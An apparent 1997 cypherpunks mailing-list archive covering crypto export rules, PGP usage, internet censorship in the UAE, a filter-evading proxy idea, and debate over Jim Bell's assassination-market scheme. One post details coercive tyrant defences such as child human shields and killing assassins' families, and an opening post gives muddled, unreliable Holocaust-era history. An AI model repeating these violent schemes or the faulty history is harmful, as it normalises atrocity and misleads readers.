> > One point I had forgotten. The demonstration took place
> > on the 50th anniversary of Kristallnacht. This is one explanation
> > as to why the border guards did not attempt to open fire with
> > firearms or attempt to break up the demonstration with tear gas.
> 
> I think the timing was a coincidence. (And I'm told that Kristallnacht 
> wasn't well advertised in East Germany; especially after the Soviets 
> sided the United Arab Republic, the official story was that Hitler had 
> been exterminating good Communists, not Jews.) 

This differs from my information. In point of fact the Nazis _did_
exterminate communists. At the time of Kristalnacht it was the communists
who were the more direct target because they had places in the
Riechstag. It was by imprisoning the communist deputies that the
Nazis were able to take power and pass the enabling act.

Portraying the Nazis as uniquely persecuting Jews is simply not
supported by the facts. The Jews were the largest group of those
persecuted but not the only group. Gypsies had less support in
other countries. Other groups were persecuted for opposition rather
than who they were but the numbers of murders were still large.
This is one reason why the Catholic church established a convent
inside Aushwitz where it is estimated that about a quarter of a 
million Catholics were murdered. Quite what one is then to make
of appeasement by the Papacy at the time is beyond me... I don't
think it points to any great moral or spiritual stand.

> They gave him a gun and put him on the front, where he waved to his 
> friends as they walked across the border.
> 
> I think a lot of the border guards were like Thomas.

Shades of Machiavelli's description of the mercenaries union in the
1500s. Basically you could hire yourself an army but they weren't
keen on there being much killing.

> Yeah, yeah. Economics has something to do with it. But I think it comes 
> down to "Sure, I'll carry a gun, and I'll go where you tell me to go, 
> but I will not hurt anyone." Ideas matter.

Absolutely!

	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Wed, 29 Jan 1997 14:32:34 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Getting into MIT is impossible
Message-ID: <199701292232.OAA14207@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous <nobody@REPLAY.COM> wrote in article <5cndl2$89k@life.ai.mit.edu>...


> "The only thing I didn't have that the next MIT applicant had was money.  I
> made the mistake of letting them know that I was dirt poor and would need
> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
> Russian front!""
> 
> My guess is that "other factors" were involved. 

Inevitably since the admissions tutors would not have known the means of 
the parents. Thats the whole idea of "needs blind" admissions. 

The admissions people could not give a damn about means. The alumni
that are most likely to make donnations are those who made it from
scratch in any case.

> I noted with some interest, but little surprise, that the guy claiming MIT
> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> had major problems making a coherent point. Methinks this is why MIT
> rejected him, not his lack of a "1600."

Possible but remember that dyslexia is not an indicator of intelligence.
The director of the Media Lab is dyslexic.


Certainly if you think that being taught in a particular operating system is
important you should probably try elsewhere. Depending on which classes 
you take you could end up using UNIX, Windows or Genera. The main 
advantage of UNIX is that it is reasonably compact and we have full
sources which means that people can be set operating system projects.
Windows NT is much too large for that although it does have many 
interesting APIs that make it usefull for teaching application level stuff.
I would imagine that there will be people interested in NextStep for
Apple too, Tim-B-L was always a Next person, but he learnt how
to use it because he had an open mind. If he had thought that nothing could
be better than what he had already he would still be using CERN-VM.

If someone can't cope with an unfamilliar O/S they probably shouldn't be
an engineer at all. An O/S is only one large software system a grad
needs to deal with. They have short lifetimes, rarely being dominant for 
more than a decade.

	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 29 Jan 1997 14:11:44 -0800 (PST)
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
Message-ID: <199701292211.OAA13503@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hallam-Baker wrote:
> 
> 
> I think that with the demise of Mr Bell and anyone running
> a remailer there would be an end to his scheme pretty quickly.
> 
> Society is not bound to put up with cranks and psychopaths.
> there is no right to anonymously call for murder. The authorities
> could easily stop Bells scheme.
> 
> The point I was making is that it is not consistent as claimed.
> 

Why, death of Jim Bell from his own murder machine is a very exciting, I
would say a very Kafkian thing to happen. I am looking forward to it. I
even think that Jim Bell would not oppose such an outcome that much,
since his assination bot would be such an important invention for the
humanity. Maybe it will reverse the course of world history!

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Karn <karn@Qualcomm.com>
Date: Wed, 29 Jan 1997 16:55:51 -0800 (PST)
To: das@razor.engr.sgi.com
Subject: Re: Machine readable form (was:RE: [DES] DES Key Recovery Project, Progress Report #7)
Message-ID: <199701300055.QAA18477@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I think you're being far too subtle here. The issues have been clearly
drawn in my case. The government is also now officially on record as
reserving the authority to regulate the exports of even paper copies
of cryptographic source code (e.g., books). They have simply chosen
not to do so for now out of the goodness of their hearts. Or, more
likely, because even they understand the furor this would cause, and the
damage it would do to their position in court.

Phil






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 29 Jan 1997 12:25:57 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Fighting the cybercensor
Message-ID: <199701292025.MAA10079@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



I think that with the demise of Mr Bell and anyone running
a remailer there would be an end to his scheme pretty quickly.

Society is not bound to put up with cranks and psychopaths.
there is no right to anonymously call for murder. The authorities
could easily stop Bells scheme.

The point I was making is that it is not consistent as claimed.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@razor.engr.sgi.com>
Date: Wed, 29 Jan 1997 16:55:59 -0800 (PST)
To: cryptography@c2.net
Subject: Re: Machine readable form (was:RE: [DES] DES Key Recovery Project, Progress Report #7)
Message-ID: <199701300055.QAA18485@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Jan 29,  2:23pm, Phil Karn wrote:
> Subject: Re: Machine readable form (was:RE: [DES] DES Key Recovery Project
> I think you're being far too subtle here. The issues have been clearly
> drawn in my case. The government is also now officially on record as
> reserving the authority to regulate the exports of even paper copies
> of cryptographic source code (e.g., books).

	But isn't your case still based on the arbitrariness of
prohibiting the export of a floppy while allowing the export
of a book containing the same information, unlike the Bernstein
case, which is based on the constitutional protection for free speech?

	That is the impression I got from the various press reports
and web pages.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aaron@herringn.com
Date: Wed, 29 Jan 1997 15:45:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: News report RE:RSA Data Security Conference, pointer
Message-ID: <199701292345.PAA16450@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Report on RSA data security conference. Mentions 'Legislation in Congress
could ban mandatory key storage', anyone know what they're referring to?

http://www.news.com/News/Item/0,4,7437,00.html







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 29 Jan 1997 14:25:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: exporting stego
Message-ID: <199701292225.OAA13996@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[I've been taking my equipment apart and rearranging it, hence the silence]
Syntel <syntelsi@ix.netcom.com> writes:

> Just a quickie,
> Does the present ITAR / DoC regulations cover the export of Steganography pro
> thanks
> Steveo

EAR covers all security software, including even virus checkers.

Of course the gubmint is irrelevant and should be soundly ignored.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 29 Jan 1997 14:32:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment
Message-ID: <199701292232.OAA14206@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:

> At 10:46 AM 1/29/1997, Declan McCullagh wrote:
> > * Many 1st Amendment experts don't believe in the legal concept of
> > libel.  It is, they say, a rich man's game -- if I'm libeled by the
> > NYT, I'm probably not going t be able to sue them, but Donald Trump
> > can. Moreover, if I don't have the resources to sue but the
> > statement is libelous, it creates a *presumption* in the minds of
> > the readers that the article is certainly true. (If it were not, I
> > would have sued, right?)
> 
> The wealthy also use libel suits to suppress dissent.  Greg's point
> that poor people aren't worth suing is only true if the motivation is
> financial.  Often it is not.  Conveniently, many of those whose
> silence is desired are among the petty bourgeouis and have a net worth
> of roughly $50,000.  Enough to make the suit appear legitimate, but
> not enough to allow the target to brush off the legal fees, if they
> win the case.
> 
> Consider also the artificial distinction between private and public
> figures.  It is easier for a private figure to sue for libel.  Yet,
> the most influential people in the country are private figures.
> Reporters must tread very carefully when covering the activities of
> these people.  Thus, we hear little of them.
> 
> It would be interesting to know when libel law was first introduced to
> the United States.  Does anybody know?
> 
> John Peter Zenger

Libel laws were inherited from good old England together with most of common
law.  When I was studying con law, I remember the very interesting precedent
establishing that truth is a defense in a libel suit. Anyone remember the name?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 29 Jan 1997 14:13:31 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: PGP Key Preview...
Message-ID: <199701292213.OAA13583@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701291511.HAA03682@toad.com>, on 01/29/97 at 07:28 AM,
   harka@nycmetro.com said:



>Hi there,

>is there a way to preview the contents of a received public key,
>without adding it automatically to the public key ring?

>Thanks a lot in advance...

Yes,

Say newkey.asc contains the new keys you wish to preview. Thye the following:

pgp -kv newkey.asc

It will display all the key info in that file.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Air conditioned environment - Do not open Windows.

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Version: 2.6.2
Comment: Registered E-Secure v1.1 0000000

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lbB1r+cSakVGBaCpjI1tq6TmWP4H6bhP1atZX1V/yGlg6cFJx8chy6jgx3JO0Ium
6qJGsBWhSentsJfiMan13uflDLVBJ9JSEy/II5EIzxHPR88UBokal3R/XkHpkjwt
tOBF5Q9hFVU=
=pgtD
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 29 Jan 1997 14:11:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Best Computer School?
Message-ID: <199701292211.OAA13504@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com writes:

> moscow state university in russia is not bad also.
> 
> they teach lots of theory... which is good.
> 
> 	- Igor.
> 

Do they have a master's program in computer science? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Elliot Lee <sopwith@cuc.edu>
Date: Wed, 29 Jan 1997 13:56:53 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: Trigger-Words...
Message-ID: <199701292156.NAA12977@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 29 Jan 1997 harka@nycmetro.com wrote:

> Actually, I might not have chosen the correct words for what I
> wanted...
> I am looking for sniffer-programs, that analyze e-mail traffic on
> the Net and filtering out all e-mails potentially interesting for
> _intelligence services_. For example, I've heard, that if an e-mail
> contains the words: "assassinate President" (DISCLAIMER: I hope, our
> President lives a long and happy life, even after his
> impeachment...:)), it will automatically get filtered and checked
> out by the Secret Service.

Everytime someone sends a message through White House web site to the
president ( there is a comment form on the site ) it is scanned for
keywords. It probably happens on other key avenues as well.

Of course there are exceptions to every rule. I heard of a woman who wrote
to Clinton something like:
You are such a dynamite leader. I think you have such an explosive
personality, and I'm dying to meet you.

If you want to scan your E-mail, write a little perl script that takes a
list of keywords to scan for, and the action to take when the keywords are
found. It shouldn't be too hard.

-- Elliot                                 http://www.redhat.com/
"I'm a member of the Association of Federations of Linux Project
Initiators That Never Really Get Much Done (AFLPITNRGMD, for short)." 
			   Just do it!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@pobox.com>
Date: Wed, 29 Jan 1997 13:56:53 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Workaround for filtering/cybersitter
Message-ID: <199701292156.NAA12978@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If I had experience with Netscape plugins and spare time, I'd
try it myself.  But here's my proposed solution.  

A plugin in Netscape intercepts all requests,  encrypt the URL
with a pubkey algorithm, encode the string base64, send it as GET input to
a proxy server.

The proxy server decodes and decrypts the URL, gets the requested page,
and returns it.  This beats out URL-based filtering.

Still need to figure out the specifics of key-exchange.  If we use
40-bit encryption, it's exportable, and it still works in our threat
model (ie. we don't care if the watchers figure out the URL a few hours
later).

To beat out dropping packets with unacceptable pattern in them, we
could use an SSL-based server as the proxy.

The plugin could even have a nice little on/off switch and a list
list of available proxies.

mark

-- 
[]  Mark Rogaski                    || "Computers save time like kudzu    [] 
[]  wendigo@pobox.com               ||  prevents soil erosion."           [] 
[]  http://www.pobox.com/~wendigo/  ||           - afcasta@texas.net      []
[]  >> finger for PGP pubkey <<     ||                                    []





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Wed, 29 Jan 1997 15:43:25 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Cats Out of Bags
Message-ID: <199701292343.PAA16370@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	David Aaron seems to make lying out of his ass a hobby. His
talk at the RSA conference was such a load of bullshit it wasn't even
funny.

	"Other governments were upset with the 56-bit export
allowance. They said it was going to undermine their national
security."

-- Start of PGP signed section.
> "In an interview Tuesday, [David L.] Aaron [the Feds' Crypto Ambassador] disputed the industry's view that the U.S. efforts to control cryptographic technology are being outstripped by the pace of the technology.
> 
> "When I talk to other governments," he said, "they still don't feel that the cat is out of the bag."
> 
> What the fuck do *they* know?
> 
> DCF
-- End of PGP signed section, PGP failed!


-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 29 Jan 1997 16:56:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701300056.QAA18513@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:15 PM 1/28/97 -0800, Steve Schear wrote:

>I think a hole in your thinking is to assume that the assasins have no
>motive other than financial gain.  I would submit that there are those that
>have the skills, training and a political agenda coherent with the
>wagerers, lacking only the financial incentive to make the risks
>acceptable.  These wetworkers won't consider accepting the bribe of the
>rich/powerful

This may be true, but the example was to show how easy a defensive line
could be thrown up around the powerful.  For example, conventional body
guards could be included, ones with no real pay but with the fore knowledge
that they will be buried with the tyrant.  These body guards could be ten
children out of each local village.  Merely a human shield.  In an attack,
they would scatter, but the parents would know that the children would die
if a successful action were taken against the tyrant.  Also, the tyrant
could put an open bounty on anyone caught trying to harm him.  Just bring
the decapitated head of the assassin along with a VHS cassette of the
attempted action for a big reward.  

By layering the defenses, it becomes increasingly difficult for anyone to
get through.

Obviously the castles walls are the first line of defense, so a reward is
given for anyone caught using any entrance to the fortress except those that
are provided.

The household is told that their participation will result in the
extermination of their families.  They are then told that if they know of an
impending action and fail to report it or attempt to stop it, they are
considered party it those actions.

A human shield of innocents is "given the privaledge to live in the fortress
with our great leader" so that actions by concerned parties is limited further.
A standing bounty is placed on the head of the assassin, who so ever brings
in the head of the assassin and all children parented by that person after
the assination will be given a reward of some set sum.  Probably 110%.

A bounty is set on security breaches, this bounty would probably be 110% of
the death mark on the tyrant.

A series of more conventional boobytraps are layed in normally inaccessable
areas, the layers of these either being prisoners who have unknowningly been
condemned to die, the tyrant himself, or some other disposable or trustable
deployment device.  The most common of these would probably be a mine field
between the two outer most walls of the fortress, and maybe a funnel-gun
parimeter inside of that.

An inner sanctum with self contained air, water, and food is maintained for
the tyrant and h[is/er] closest relatives/advisors.  This sanctum would be
accessed by biometrics and only used in a percieved emergency.

All dissent is declared illegal with capitol punishment for the mere
discussion of the impending death of the tyrant, exceptions to this would be
persons in the direct company of the tyrant with the tyrants full awareness,
and permission.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@AZStarNet.com
Date: Wed, 29 Jan 1997 16:55:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
Message-ID: <199701300055.QAA18469@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phill" wrote:

>Society is not bound to put up with cranks and psychopaths.

Err, "Phill", how then do you see yourself fitting in?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 29 Jan 1997 15:43:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bruce "Penis With a Blister on it" Taylor strikes again...
Message-ID: <199701292343.PAA16393@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


MIME-Version: 1.0
Date:         Wed, 29 Jan 1997 17:19:03 -0800
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Robert Cannon <cannon@DC.NET>
Subject:      Members of Congress file CDA Amici Curiae Brief
To:           CYBERIA-L@LISTSERV.AOL.COM

Approximately 22 members of Congress filed an Amici Curiae brief with
the Supreme Court in Reno v. ACLY, the constitutional challenge to the
Communications Decency Act (this makes three known briefs filed so far
in support of the CDA).  The brief was filed on behalf of, among others,
Exon, Coats, Helms, Grassley, Hyde, and Goodlatte.  It was written by
Bruce Taylor and Cathleen A. Cleaver.  This brief can be accessed at
http://www.cdt.org/ciec/SC_appeal/970121_Cong_brief.html

Litigation update page:  www.cais.net/cannon/cda/cda-up.htm

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Wed, 29 Jan 1997 11:36:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI=LIE
Message-ID: <199701291936.LAA08662@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>From http://www.nytimes.com/yr/mo/day/news/washpol/fbi-lab.html:
> The World Trade Center bomb was made of urea-nitrate, a compound
> that can be confused with non-explosive mixtures of the same
> ingredients. In an informal internal check of lab procedures, some
> senior FBI lab workers mixed human urine with fertilizer and added
> samples of that non-explosive mixture to the flow of material being
> tested by the chemistry unit. A manager in the chemistry lab
> identified the urine-fertilizer mixture as an explosive.

Just coincidentally, these errors imprison the innocent instead of
freeing the guilty.

> Still, Joseph E. DiGenova, a former U.S. attorney in Washington,
> said the issues raised in the report would allow defendants to
> contest lab findings against them and would permit people convicted
> of crimes to attempt to reopen their cases, based on the possibility
> of flawed forensic evidence.

> "It's going to be a royal pain in the neck for federal judges and
> prosecutors and a godsend for defense attorneys looking for a means
> of getting their clients off," he said

Why not "proving their innocence"?  A prosecutor - and one who does
not respect our legal tradition of presumed innocence - is not a good
choice for a quote here.

Nowhere in the entire article is there evidence that the reporters
talked to anyone outside the FBI/Justice Department milieu.

> Scientists at the lab said they were often stifled in a lab run by
> non-technical field agents who had little knowledge of science and
> who regularly altered reports to help prosecutors. But law
> enforcement officials said there was little evidence that anyone had
> been wrongly convicted based on improper lab work.

Why isn't this the story?  FBI agents regularly committed perjury, and
we see a story about lab errors.

Elliot Ness





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ross Wright <rwright@adnetsol.com>
Date: Wed, 29 Jan 1997 18:10:59 -0800 (PST)
To: rcgraves@disposable.com>
Subject: Re: AltaVista sprouts a hole ...
Message-ID: <199701300210.SAA20120@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 29 Jan 97 at 2:13, Rich Graves wrote:

> Yes, I mentioned that here and in comp.org.eff.talk a couple weeks
> ago. No need to turn images off. Just tell AltaVista you want
> text-only:
> 
>  http://altavista.digital.com/cgi-bin/query?pg=&text=yes
> 
> You may also find the text-only page a hell of a lot faster.

Funny you should mention this.  It's the only search engine I use, 
and it's the one on my "links" site.

http://www.slip.net/~cdr/kingmedia/links.html

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wayne Clerke <wclerke@emirates.net.ae>
Date: Wed, 29 Jan 1997 08:53:52 -0800 (PST)
To: Lynx_User@linux.nycmetro.com
Subject: Re: uae_1.html (UAE censoring Internet)
Message-ID: <199701291653.IAA05222@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I've checked the filtering out already ... it's pretty extensive. Far, far
more than Singapore's 'hundred' or so pages. The granularity is such that
things like http://www.domain/~user/main may be passed, while a link from
that
page to a subpage may be blocked. I guess they can afford to do
this with so few users and little traffic. Never thought I'd be real
interested in how Net Nanny worked ... but I am now.

I'd be happy to hear from anyone with good ideas (or (accessible) pointers)
about how to minimize the effects of this stupidity ... :-(

Regards,

Mail: <a href=mailto:wclerke@emirates.net.ae>Wayne Clerke</a>
PGP key ID: AEB2546D		FP: D663D11E DA19D74F 5032DC7E E001B702
PGP mail welcome.			Voice: +971 506 43 48 53
If you're not living on the edge, you're taking up too much space.


----------
> From: Lynx_User@linux.nycmetro.com
> To: cypherpunks@toad.com
> Subject: uae_1.html
> Date: Tuesday, 28 January 1997 12:26
> 
> 
>                              Reuters New Media
>                                       
>    
>                     [ Yahoo | Write Us | Search | Info ]
>                                       
>    
>     [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
>                             Entertain | Health ]
>                                       
>      _________________________________________________________________
>                                       
>    Previous Story: UK Bill To Fight Millennium Computer Bug Moves On
>    Next Story: Intel to Europe: Get Online Or Fall Behind
>      _________________________________________________________________
>                                       
>    Monday January 27 9:50 AM EST 
>    
> UAE Launches Service To Censor Internet
> 
>    DUBAI - The United Arab Emirates's monopoly Internet provider launched
>    a service Saturday to censor sites in cyberspace that breached local
>    moral values and traditions.
>    
>    Officials from state telecommunications company Etisalat said the new
>    Proxy Service would be compulsory for the UAE's 9,669 subscribers, who
>    will have to configure their web browsers that navigate the net by
>    February 2.
>    
>    "The service was launched today as part of our efforts to improve the
>    Internet service to our subscribers after lengthy study and research,"
>    said one official at Etisalat.
>    
>    "We were working on it before some official statements were made on
>    the need to control access to some sites on the service," he told
>    Reuters.
>    
>    The move follows repeated calls to regulate access to the Internet in
>    the conservative Gulf region, where most women are veiled, magazine
>    pictures revealing cleavage or bare legs are blacked out and
>    questioning the existence of god can be punishable by death.
>    
>    Some are worried about the spread of pornography as well as religious
>    and political material through the worldwide network of interlinked
>    computers.
>    
>    Last year, Dubai Police chief Major General Dhahi Khalfan Tamim
>    created a rare public row in the UAE saying the information ministry
>    and the police, rather that Etisalat, should be authorized to issue
>    Internet licenses as it was their job to monitor data coming into the
>    UAE and maintain security.
>    
>    Telecommunications experts say the Proxy Service will not be "fully
>    water-tight," but would help block access to known and unwanted sites
>    -- a list of which could be constantly updated.
>    
>    The proxy server will be pre-fed with Internet addresses where access
>    is blocked off, industry sources said. But the server will be unable
>    to block access if addresses of prohibited sites are changed, as
>    frequently happens.
>    
>    Etisalat says it will disconnect any customer who abused its Internet
>    services and violated "order and clear laws."
>    
>    "Singapore has succeeded to a great extent in its drive to control
>    harm done by the Internet," said another Etisalat official. "Why
>    cannot we?"
>    
>    Singapore government measures to regulate political and religious
>    content on the Internet and keep it free of pornography became
>    effective in July last year. They require all Internet service
>    operators and local content providers to be registered with the
>    Singapore Broadcasting Authority.
>    
>    Copyright, Reuters Ltd. All rights reserved

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EC/T5pxJuCRZ+BFKkwEBHtoCAI/0vtRlvDE4+IMWTfOmU/TuJM80ltVZl9+MOdn3
4EGSf5TO5MIGu9sLIO+mTTTZXZNbFNo0AMyUZAEVDh+JEGQ=
=fHhI
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: miner <miner333@dogbert.xroads.com>
Date: Wed, 29 Jan 1997 18:12:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Making OCR'ed code transfer easier
Message-ID: <199701300212.SAA20142@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


A month or two ago someone related their experience with OCRing code and
getting it to work; even when it compiled correctly there were still subtle
errors that he/she had to spend hours finding. With the recent threads on
OCRing the DES cracker I was thinking of ways to make it more foolproof
without going so far that the FEDs would get excited. 

If the author/publisher was to include a hash of the source code the person
doing the scanning would know when it was good without having to compile it
and then run it to discover there were still errors in the source. A hash
per page of code would be even easier as it would localize the errors to a
more manageable area, or even more sophisticated methods could be used to
localize any errors.

How far you could go in providing feedback on the correctness of the OCR
process without getting the FEDs all excited is the question.

Just a thought
miner







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 29 Jan 1997 20:28:38 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
Message-ID: <199701300428.UAA22294@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:40 PM 1/27/97 -0500, Phillip M. Hallam-Baker wrote:
>
>
>jim bell <jimbell@pacifier.com> wrote in article 
<5ch9f2$cuu@life.ai.mit.edu>...
>
>> Look, I've proposed what I consider to be a remarkably consistent method to 
>> prevent the kind of political tyranny that you criticize, and I don't see 
>> any recognition of this fact.  
>
>Thats because its a whacko solution that has no credibility
>or consistency. 

"I love you too!  B^)


Question:  What is a "whacko solution"?  Why do you believe AP qualifies?   
Can you list any other "solutions" which are, indeed, "solutions" which are 
NOT "whacko" by your definition?  (I'm trying to determine whether or not 
you even agree that there is a problem!)

Let me pose an issue here by counterexample:  Suppose there was a 
plantation, containing a master and his slaves.  You are told that the 
slaves are "unhappy". (They're unhappy because they're slaves!!!)  That's a 
"problem."  Okay, let me propose that there are at least two broad 
"solutions" to this "problem":  First, change the working conditions just 
enough to make the slaves acceptably happy.  Or, second, eliminate the 
slavery altogether.

Both are "solutions".  The first, obviously, is only a "solution" from the 
stanpoint of the master.  The second appears to be only a "solution" from 
the standpoint of the slaves, since the master obviously doesn't want to 
lose his slaves!  Could you legitimately call the second solution a "whacko 
solution"? (It would be, from the limited standpoint of the master.) How 
about the first?

That's the problem with using such a poorly-defined term as "whacko" to 
describe anything, particularly when many people don't agree.  And here's a 
question:  What do you mean by "credibility"?  I've explained it in enough 
detail to convince a rather substantial number of intelligent people that it 
is likely to be possible, and to some it sounds like it is desireable.  


>If anyone tried to set up such a market and a price went out
>on any of the heads of state fantasized about Mr Bell would be 
>dead as a doornail in a week.

A claim which doesn't disprove the functionality of AP one whit.  In fact, 
quite the opposite:  If AP was, indeed, non-functional, then nobody would 
bother with me at all.  The fact that you think they would shows that you 
believe AP threatens SOMEBODY.

This means that your arguments, as minimal as they are, are internally 
contradictory.  They simply don't hold together.






Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Wed, 29 Jan 1997 20:28:50 -0800 (PST)
To: Anonymous <nobody@replay.com>
Subject: Re: Getting into MIT is impossible
Message-ID: <199701300428.UAA22313@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> I noted with some interest, but little surprise, that the guy claiming MIT
> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> had major problems making a coherent point. Methinks this is why MIT
> rejected him, not his lack of a "1600."
 
...  Not to point out something obvious about this but the person who
wrote this did not have "guts" enough or, just likes his privacy a bit
more than the average person, to come out and write this non-anonymously.
But since that isn't why I am writing this, I'll leave off of it for now.
...
The reason I am writing this is because I am "the guy claiming MIT
required a 4.0 GPA and a 1600 combined SAT score."  I was informed this by
my school counselor, along with many other things which are as equally
"obnoxious" to my possible college acceptances.
--  I did point out though, in my letter, that my connection was
experiencing sever lag for some reason.  I did narrow that down to being
because my servers call in server and account server where on two
different networks.  
Another point to this is that in my family I am the best speller.  It is
possibly genetic, but it is mostly because of where I grew up and the
other "backwoodsy" things of my "youth".  Now I realise this sounds like a
bunch of excuses and such, and yes I guess it is, but I can if I sit down
and think about something for a milli second longer than normal, and don't
let my left hand out race my right hand, type things with propper grammer
and spelling to my current extent.

Now if the one who did post that "anonymously" would be so kind as to say
such "brave" statements outloud without his or her precious "anonymousity"
it would be much appreciated.

Other than that, I do believe that is about it to this later.

Goodnight and fare you "well"

Erp


ps -- please excuse the quotes, I was using them for mor eaccenting and
well for words that fit in my own way.  


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Check my poetry page if you would like to see more of my bad spelling and
